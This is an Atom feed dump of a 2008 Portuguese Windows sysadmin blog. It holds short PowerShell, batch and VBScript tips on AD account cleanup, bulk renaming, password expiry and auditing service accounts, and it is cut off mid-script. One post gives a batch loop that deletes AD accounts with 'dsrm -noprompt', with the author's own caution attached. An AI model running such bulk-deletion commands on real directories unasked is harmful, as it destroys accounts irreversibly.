Name&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; MemberType Definition    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; ----&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ---------- ----------    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Clone&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; Method&amp;#160;&amp;#160;&amp;#160;&amp;#160; System.Object Clone()    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Equals&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; Method&amp;#160;&amp;#160;&amp;#160;&amp;#160; System.Boolean Equals    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; FindInterfaces&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; Method&amp;#160;&amp;#160;&amp;#160;&amp;#160; System.Type[] FindInt    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; ...    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; C:\PS&amp;gt; [BasicTest] | get-member -static    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; TypeName: BasicTest    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Name&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; MemberType Definition    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; ----&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ---------- ----------    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Add&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; Method&amp;#160;&amp;#160;&amp;#160;&amp;#160; static System.Int32 Add(Int32 a, Int32 b)    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Equals&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; Method&amp;#160;&amp;#160;&amp;#160;&amp;#160; static System.Boolean Equals(Object objA,    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; ReferenceEquals Method&amp;#160;&amp;#160;&amp;#160;&amp;#160; static System.Boolean ReferenceEquals(Obj    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; C:\PS&amp;gt; $basicTestObject | get-member    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; TypeName: BasicTest    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Name&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; MemberType Definition    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; ----&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; ---------- ----------    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Equals&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; Method&amp;#160;&amp;#160;&amp;#160;&amp;#160; System.Boolean Equals(Object obj)    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; GetHashCode Method&amp;#160;&amp;#160;&amp;#160;&amp;#160; System.Int32 GetHashCode()    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; GetType&amp;#160;&amp;#160;&amp;#160;&amp;#160; Method&amp;#160;&amp;#160;&amp;#160;&amp;#160; System.Type GetType()    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Multiply&amp;#160;&amp;#160;&amp;#160; Method&amp;#160;&amp;#160;&amp;#160;&amp;#160; System.Int32 Multiply(Int32 a, Int32 b)    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; ToString&amp;#160;&amp;#160;&amp;#160; Method&amp;#160;&amp;#160;&amp;#160;&amp;#160; System.String ToString()    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Description    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; -----------    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; These commands use the Get-Member cmdlet to examine the objects that the Add-Type and New-Objec    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; t cmdlets created in the previous example.    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; The first command uses the Get-Member cmdlet to get the type and members of the BasicTest class    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; that Add-Type added to the session. The Get-Member command reveals that it is a System.Runtime    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Type object, which is derived from the System.Object class.    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; The second command uses the Static parameter of Get-Member to get the static properties and met    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; hods of the BasicTest class. The output shows that the Add method is included.    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; The third command uses Get-Member to get the members of the object stored in the $BasicTestObje    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; ct variable. This was the object instance that was created by using the New-Object cmdlet with     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; the $BasicType class.     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; The output reveals that $basicTestObject is an instance of the BasicTest class and that it incl    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; udes a member called Multiply.    &lt;br /&gt;&lt;/p&gt;  &lt;p&gt;Enfim... acho melhor definir o PowerShell hoje como um shell interativo de C#, da mesma forma que o Ruby tem o IRB.&lt;/p&gt;  &lt;p&gt;Até a próxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-3437068026938795122?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/3437068026938795122/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=3437068026938795122&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3437068026938795122'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3437068026938795122'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/11/classes-no-windows-powershell.html' title='Classes no Windows PowerShell'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-3413670993181328422</id><published>2008-11-12T00:29:00.001-02:00</published><updated>2008-11-12T00:29:57.626-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ds tools'/><category scheme='http://www.blogger.com/atom/ns#' term='cmd'/><title type='text'>Apagando várias contas do AD</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;esta foi uma dúvida de um grande amigo meu, que perguntou o seguinte: como eu posso apagar contas de computadores no Active Directory com base em uma lista em um arquivo TXT?&lt;/p&gt;  &lt;p&gt;Vamos por partes. Primeiro, monte o arquivo &lt;strong&gt;lista.txt&lt;/strong&gt; como aparece abaixo. Basta colocar os nomes das contas, um abaixo do outro.&lt;/p&gt;  &lt;p&gt;_moss_db_vk   &lt;br /&gt;_moss_db_vk_teste    &lt;br /&gt;_moss_db_vk_teste2&lt;/p&gt;  &lt;p&gt;A seguir, crie um arquivo &lt;strong&gt;deletar.bat &lt;/strong&gt;com o seguinte comando:&lt;/p&gt;  &lt;p&gt;dsquery user –name %1 | dsrm –q –c –noprompt&lt;/p&gt;  &lt;p&gt;Nota: o – que aparece é um &lt;strong&gt;hífen&lt;/strong&gt;, e não um travessão. Cuidado com Ctrl+C e Ctrl+V. E mais: no meu exemplo estou apagando contas de usuário. Mais informações em &lt;strong&gt;dsquery /? &lt;/strong&gt;e &lt;strong&gt;dsrm /?&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Pronto. Agora basta colocar tudo na mesma pasta e executar o comando a seguir:&lt;/p&gt;  &lt;p&gt;for /f %i in ('type lista.txt') do @deletar.bat %i&lt;/p&gt;  &lt;p&gt;Nota: se for colocar o comando acima em um arquivo .bat também, substitua &lt;strong&gt;%i&lt;/strong&gt; por &lt;strong&gt;%%i&lt;/strong&gt;.&lt;/p&gt;  &lt;p&gt;É claro que esta não é a solução mais rápida. Seria mais interessante trabalhar com enumeração ou conectar aos objetos diretamente usando ADSI (VBScript ou PowerShell, tanto faz). A solução que eu apresentei é um modo rápido no estilo mais quick’n’dirty que existe, e não deve ser utilizado com milhares de contas. Modifique o script ainda para exibir as contas que serão apagadas, para facilitar a localização de eventuais erros (lembrem-se que é o AD isso, não uma máquina virtual qualquer). &lt;strong&gt;Isso é só um exemplo, pessoal&lt;/strong&gt;.&lt;/p&gt;  &lt;p&gt;Vão com calma, testem e adaptem pras suas necessidades. Espero não ter que escrever amanhã mesmo sobre como recuperar contas apagadas no AD. =)&lt;/p&gt;  &lt;p&gt;Um abraço,&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-3413670993181328422?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/3413670993181328422/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=3413670993181328422&amp;isPopup=true' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3413670993181328422'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3413670993181328422'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/11/apagando-vrias-contas-do-ad.html' title='Apagando várias contas do AD'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-1591766108327950347</id><published>2008-11-03T00:13:00.001-02:00</published><updated>2008-11-03T00:13:50.072-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><title type='text'>Renomeando um milhão de arquivos</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;depois de muito tempo sem sescrever, resolvi ressucitar meu blog. Peço desculpas e vou mandar, logo de cara, 3 dos ítens que eu coloquei na minha lista de “coisas importantes que precisam ser salvas no blog”.&lt;/p&gt;  &lt;p&gt;A primeira delas vai agora. Essa dúvida me chegou por email, e achei curioso porque resolvi um problema similar no serviço meses atrás.&lt;/p&gt;  &lt;p&gt;Suponha que você tem um diretório com nomes de arquivo corrompidos. Você só sabe que todos eles são arquivos .png, mas as extensões foram trocadas para nomes aleatórios. Você gostaria então de renomear tudo para .png, de uma vez só.&lt;/p&gt;  &lt;p&gt;Usando Windows PowerShell&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;dir | % {ren $_ ($_.name.substring(0, $_.name.length-4) + '.png' ) }&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;O primeiro comando, dir, obtém uma lista de arquivos do diretório atual e passa objetos (não texto!) para o próximo comando no pipeline. O próximo então (o % significa foreach-object) executa o bloco (entre { e } ) para cada um dos ítens. Nesse caso, o comando rename passando o nome ($_) e o nome novo ($_.name.substring(0, $_.name.length-4) + '.png' )&lt;/p&gt;  &lt;p&gt;Até a próxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-1591766108327950347?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/1591766108327950347/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=1591766108327950347&amp;isPopup=true' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1591766108327950347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1591766108327950347'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/11/renomeando-um-milho-de-arquivos.html' title='Renomeando um milhão de arquivos'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5055314349754826868</id><published>2008-10-15T21:52:00.001-03:00</published><updated>2008-10-15T21:52:02.843-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><title type='text'>Relatórios sobre tipos de arquivos</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;recentemente vi um script submetido ao ScriptCenter que lista os tipos de arquivos existentes em uma determinada pasta.&lt;/p&gt;  &lt;p&gt;Este pode ser um recurso muito útil para auditorias, por exemplo. Vejam como é mais simples fazer usando PowerShell:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Primeiro, liste os arquivos com o comando DIR (get-childItem, ls, gci, etc.) &lt;/li&gt;    &lt;li&gt;Agrupar por extensão &lt;/li&gt;    &lt;li&gt;Ordenar por quantidade &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;Veja o resultado:&lt;/p&gt;  &lt;p&gt;dir c:\teste –recurse | group {$_.extension} | sort count&lt;/p&gt;  &lt;p&gt;Até logo!&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5055314349754826868?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5055314349754826868/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5055314349754826868&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5055314349754826868'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5055314349754826868'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/10/relatrios-sobre-tipos-de-arquivos.html' title='Relatórios sobre tipos de arquivos'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-2344298534529576959</id><published>2008-09-27T01:01:00.001-03:00</published><updated>2008-09-27T01:01:35.755-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gpo'/><title type='text'>Script para voltar contas expiradas</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;vou escrever hoje sobre um problema que me fez trabalhar duas horas a mais ontem testando uma solução caseira.&lt;/p&gt;  &lt;p&gt;Um cliente da empresa que trabalho teve um problema e, de uma hora para outra, boa parte das contas do AD teve sua senha expirada. O problema foi simples: alguém configurou por acidente a política de troca de senhas de 90 dias (padrao da empresa) para 30 dias.&lt;/p&gt;  &lt;p&gt;Resolver o problema foi fácil. Difícil foi a lógica.&lt;/p&gt;  &lt;p&gt;Eu simplesmente abri o AD Explorer e fui caçar a propriedade no objeto dos usuários no AD que eu deveria alterar. Simplesmente não encontrei nenhuma.&lt;/p&gt;  &lt;p&gt;O que isso quer dizer? Na prática, não fica no usuário a propriedade que diz se a senha do usuário expirou ou não. A única data relevante que fica armazenada é a data da troca da senha pela última vez (pwdLastSet). O Windows então faz a conta, no momento do logon, para descobrir se o usuário deve ou não trocar a senha naquele instante. Sendo assim, não seria necessário alterar usuário algum, muito menos fazer script para varrer o AD e definir alguma propriedade novamente.&lt;/p&gt;  &lt;p&gt;Sendo assim, fiz alguns testes e comprovei minha tese. O único problema que pode ocorrer é o DC demorar demais para puxar novamente a política padrão do domínio, mas é altamente aceitável esse lag.&lt;/p&gt;  &lt;p&gt;Isso remonta a seguinte história:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;Um navio carregado de ouro, revestido de todo o cuidado e segurança     &lt;br /&gt;atravessava o oceano quando, de repente, o motor enguiçou&amp;quot;.      &lt;br /&gt;Imediatamente, o comandante mandou chamar o técnico do porto mais próximo.      &lt;br /&gt;O técnico chegou de helicóptero e trabalhou durante uma semana, porém sem      &lt;br /&gt;resultados concretos.      &lt;br /&gt;Chamaram então o melhor engenheiro naval do país.      &lt;br /&gt;O engenheiro trabalhou três dias inteiros, sem descanso, mas nada      &lt;br /&gt;conseguiu.      &lt;br /&gt;O navio continuava enguiçado.      &lt;br /&gt;A empresa proprietária do navio mandou, então, buscar o maior especialista      &lt;br /&gt;do mundo naquele tipo de motor.      &lt;br /&gt;Ele chegou, olhou detidamente a casa das máquinas, escutou o barulho do      &lt;br /&gt;vapor, apalpou a tubulação e, abrindo a sua valise, retirou um pequeno      &lt;br /&gt;martelo.      &lt;br /&gt;Deu uma martelada em uma válvula vermelha (que estava emperrada) e guardou o martelo de volta na valise.      &lt;br /&gt;Mandou ligar o motor e este funcionou perfeitamente na primeira tentativa.      &lt;br /&gt;Dias depois, chegaram às contas ao escritório da empresa de navegação.      &lt;br /&gt;Por uma semana de trabalho, o técnico cobrou US$ 700.      &lt;br /&gt;O engenheiro naval cobrou, por três dias de trabalho, US$ 900.      &lt;br /&gt;Já o especialista, por sua vez, cobrou US$ 10,000.00 pelo serviço.      &lt;br /&gt;Atônito com esta última conta, o Diretor Financeiro da empresa enviou um      &lt;br /&gt;telegrama ao especialista, perguntando:      &lt;br /&gt;&amp;quot;Como você chegou a esse valor de US$ 10,000.00, por cerca de 1 minuto de      &lt;br /&gt;trabalho e uma única martelada?&amp;quot;.      &lt;br /&gt;O especialista, então, enviou as seguintes especificações, no cálculo dos      &lt;br /&gt;seus honorários profissionais à empresa :      &lt;br /&gt;- Por dar uma martelada........................................ US$ 1.00      &lt;br /&gt;- Por saber exatamente onde bater o martelo....... US$ 9.999,00      &lt;br /&gt;O que vale, na prática, não é dar a martelada, mas saber onde bater o      &lt;br /&gt;martelo.      &lt;br /&gt;A martelada você pode até delegar para outro...&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Ok, não sou um especialista a ponto de resolver em um minuto o problema… mas a análise toda, incluindo formulação, labs e produção levou apenas duas horas.&lt;/p&gt;  &lt;p&gt;Outro dia coloco aqui como eu faria se precisasse de script para isso.&lt;/p&gt;  &lt;p&gt;Links:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://live.sysinternals.com/adexplorer.exe"&gt;http://live.sysinternals.com/adexplorer.exe&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://scyllamazzillo.multiply.com/market/item/5"&gt;http://scyllamazzillo.multiply.com/market/item/5&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;PS: havia sim a possibilidade de todos os campos pwdLastSet dos usuários terem sido alterados propositalmente ou via script, mas não era esse o caso. Se fosse, eu teria que obrigatoriamente usar um script para consertar ou um dsquery | dsmod.&lt;/p&gt;  &lt;p&gt;Até logo!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-2344298534529576959?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/2344298534529576959/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=2344298534529576959&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2344298534529576959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2344298534529576959'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/09/script-para-voltar-contas-expiradas.html' title='Script para voltar contas expiradas'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-954888625447625621</id><published>2008-09-11T00:54:00.001-03:00</published><updated>2008-09-11T00:54:13.798-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webcast'/><title type='text'>Webcast: Novidades do Vista, novas ferramentas de linha de comando e WinRM</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;estarei apresentando no dia 3 de Outubro um webcast no Technet Brasil sobre as novidades do Vista, novas ferramentas de linha de comando e, mais especificamente, sobre WinRM. Tudo isso como parte da Semana Windows Vista. Fiquei muito feliz por ser convidado mais uma vez, principalmente por poder participar junto com outros feras como Fábio Hara, Julio Battisti e Wesley Fernandes. =)&lt;/p&gt;  &lt;p&gt;Link:&lt;/p&gt;  &lt;p&gt;&lt;a title="http://www.microsoft.com/brasil/technet/eventos/webcasts/windows_vista/default.mspx" href="http://www.microsoft.com/brasil/technet/eventos/webcasts/windows_vista/default.mspx"&gt;http://www.microsoft.com/brasil/technet/eventos/webcasts/windows_vista/default.mspx&lt;/a&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;Até mais!&lt;/p&gt;&lt;/blockquote&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-954888625447625621?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/954888625447625621/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=954888625447625621&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/954888625447625621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/954888625447625621'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/09/webcast-novidades-do-vista-novas.html' title='Webcast: Novidades do Vista, novas ferramentas de linha de comando e WinRM'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-8776065601807609805</id><published>2008-08-29T08:55:00.001-03:00</published><updated>2008-08-29T08:55:21.069-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='horário de verão'/><title type='text'>Script para horário de verao – 2008/2009</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;felizmente, este ano não vou publicar nenhum script para modificar o timezone do Windows para se adaptar ao horário de verão definido no Brasil. &lt;/p&gt;  &lt;p&gt;O motivo é simples: a Microsoft resolveu facilitar e vai distribuir esta alteração como um update no Windows Update. Dessa forma, fica bem mais fácil gerenciar (usando WSUS, SMS e SCCM, além de scripts como o simples WMIC QFE por exemplo) nas redes que máquinas estão com o patch aplicado ou não. Ainda mais: empresas podem aplicar isso por GPO, fazendo com que somente algumas filiais recebam o patch (excluindo Amazonas e alguns estados do nordeste, por exemplo).&lt;/p&gt;  &lt;p&gt;Segue o link com o patch e maiores instruções:&lt;/p&gt;  &lt;p&gt;&lt;a title="http://www.microsoft.com/brasil/windows/products/windowsvista/verao.mspx" href="http://www.microsoft.com/brasil/windows/products/windowsvista/verao.mspx"&gt;http://www.microsoft.com/brasil/windows/products/windowsvista/verao.mspx&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-8776065601807609805?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/8776065601807609805/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=8776065601807609805&amp;isPopup=true' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8776065601807609805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8776065601807609805'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/08/script-para-horrio-de-verao-20082009.html' title='Script para horário de verao – 2008/2009'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5261976441368059220</id><published>2008-08-12T17:16:00.001-03:00</published><updated>2008-08-12T17:16:47.621-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><category scheme='http://www.blogger.com/atom/ns#' term='vbscript'/><category scheme='http://www.blogger.com/atom/ns#' term='wmi'/><category scheme='http://www.blogger.com/atom/ns#' term='iis'/><title type='text'>Checklist para alteração de senhas no Windows</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;Aqui vão alguns scripts úteis quando for necessário trocar uma senha para uma conta em um domínio. Três lugares que devem ser checados antes de trocar uma senha (note que não são os únicos) são:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Tarefas agendadas (normalmente o backup é feito aqui)&lt;/li&gt;    &lt;li&gt;Serviços&lt;/li&gt;    &lt;li&gt;Application Pools do IIS e usuários usados em acesso anônimo&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;Se alguma tarefa, serviço ou Application Pool estiver rodando com a conta que você precisa alterar a senha, ele com certeza vai deixar de funcionar na próxima vez que for iniciado ou quando precisar de um recurso que precise de autenticação.&lt;/p&gt;  &lt;p&gt;Para facilitar na localização destas contas, sugiro um comando e um script:&lt;/p&gt;  &lt;p&gt;Localizar todos os serviços e contas que estão sendo usadas neles.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;wmic /node:localhost service get displayname, startname&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;ou no PowerShell:&lt;/p&gt;  &lt;p&gt;&lt;b&gt;gwmi win32_service –computerName estacao_ou_ip | sort startname | ft name, startname&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Para listar os Application Pools e as contas usadas por eles, use o seguinte script em VBScript. Basta salvar com extensão .VBS e executar. Ele aceita o nome do computador remoto como parâmetro (opcional).&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;if WScript.Arguments.Count &amp;gt; 0 then     &lt;br /&gt;&amp;#160;&amp;#160; strComputer= WScript.Arguments(0)      &lt;br /&gt;else      &lt;br /&gt;&amp;#160;&amp;#160; strComputer = &amp;quot;.&amp;quot;      &lt;br /&gt;end if      &lt;br /&gt;set objWMI = GetObject(&amp;quot;winmgmts:\\&amp;quot; &amp;amp; strComputer &amp;amp; &amp;quot;\root\MicrosoftIISv2&amp;quot;)      &lt;br /&gt;set colAppPools = objWMI.ExecQuery(&amp;quot;Select * from IISApplicationPoolSetting&amp;quot;)      &lt;br /&gt;for each app in colAppPools      